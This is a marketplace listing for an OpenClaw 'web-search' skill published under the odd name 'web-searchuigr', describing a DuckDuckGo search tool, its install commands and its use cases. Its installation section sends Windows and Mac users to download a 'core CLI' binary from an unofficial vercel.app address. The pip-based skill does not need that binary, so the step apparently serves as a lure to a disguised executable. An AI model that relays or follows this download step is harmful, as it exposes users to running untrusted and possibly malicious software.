web-search
This skill should be used when users need to search the web for information, find current content, look up news articles, search for images, or find videos. It uses DuckDuckGo's search API to return results in clean, formatted output (text, markdown, or JSON). Use for research, fact-checking, finding recent information, or gathering web resources.
Why use this skill?
Learn how to use the OpenClaw web-search skill to retrieve real-time data, news, and images from DuckDuckGo. Perfect for research and agent automation.
Install via CLI (Recommended)
clawhub install openclaw/skills/skills/thiagoruss0/web-searchuigrWhat This Skill Does
The web-search skill integrates the DuckDuckGo search API directly into your OpenClaw environment, allowing the agent to fetch real-time information from the internet. It supports text-based web results, news aggregation, and image discovery without needing complex API keys or authentication. By leveraging the duckduckgo-search library, this skill provides a versatile toolset for research, fact-checking, and content retrieval, returning data in structured formats like text or markdown for easy integration into your existing workflows.
Installation
Before using this skill, ensure that the core CLI is installed on your system. You can download the OpenClawCLI for Windows or MacOS at https://openclawcli.vercel.app/. Once the environment is set up, install the required library dependency by running pip install duckduckgo-search in your terminal. Finally, use the command clawhub install openclaw/skills/skills/thiagoruss0/web-searchuigr to add the skill to your agent's capability library.
Use Cases
- Research and Fact-Checking: Instantly verify claims or gather data on obscure topics using current web sources.
- Market Intelligence: Track news articles and recent developments in specific industries using the
--type newsflag. - Asset Retrieval: Fetch high-quality images for presentations or documentation by searching by descriptive keywords.
- Data Collection: Gather lists of URLs, resources, or technical tutorials for ongoing projects without leaving the CLI.
Example Prompts
- "Search for the latest breakthroughs in quantum computing from this past week and summarize the top three articles."
- "Find high-quality large landscape images of the Swiss Alps for my presentation."
- "Look up recent news articles regarding the open-source software industry in the last month."
Tips & Limitations
- Precision: When searching for niche technical information, use the
--max-resultsparameter to increase the volume of returned data, which helps in identifying less popular but highly relevant sources. - Efficiency: Use the
--time-rangefilter consistently to avoid stale information. Relying on current data is critical for fast-moving topics like software frameworks or daily news. - Constraints: Be aware that this skill depends on the availability of the DuckDuckGo service. Large-scale scraping operations might be rate-limited by the provider; if you encounter errors, try increasing the delay between consecutive search commands.
Metadata
Not sure this is the right skill?
Describe what you want to build — we'll match you to the best skill from 16,000+ options.
Find the right skillPaste this into your clawhub.json to enable this plugin.
{
"plugins": {
"official-thiagoruss0-web-searchuigr": {
"enabled": true,
"auto_update": true
}
}
}Tags(AI)
Flags: network-access, external-api
Related Skills
n8n
Manage n8n workflows and automations via API. Use when working with n8n workflows, executions, or automation tasks - listing workflows, activating/deactivating, checking execution status, manually triggering workflows, or debugging automation issues.
Read WeChat local data from SQLite databases. Supports listing contacts, chat sessions, searching messages, and viewing favorites. Use when the user needs to access their own WeChat data stored locally. Requires access to WeChat data directory. Read-only operations only.
coding-agent
Run Codex CLI, Claude Code, OpenCode, or Pi Coding Agent via background process for programmatic control.
veo3-gen
Generate and stitch short videos via Google Veo 3.x using the Gemini API (google-genai). Use when you need to create video clips from prompts (ads, UGC-style clips, product demos) and want a reproducible CLI workflow (generate, poll, download MP4, optionally stitch multiple segments).
jira
Jira API integration with managed OAuth. Search issues with JQL, create and update issues, manage projects and transitions. Use this skill when users want to interact with Jira issues, projects, or workflows. For other third party apps, use the api-gateway skill (https://clawhub.ai/byungkyu/api-gateway).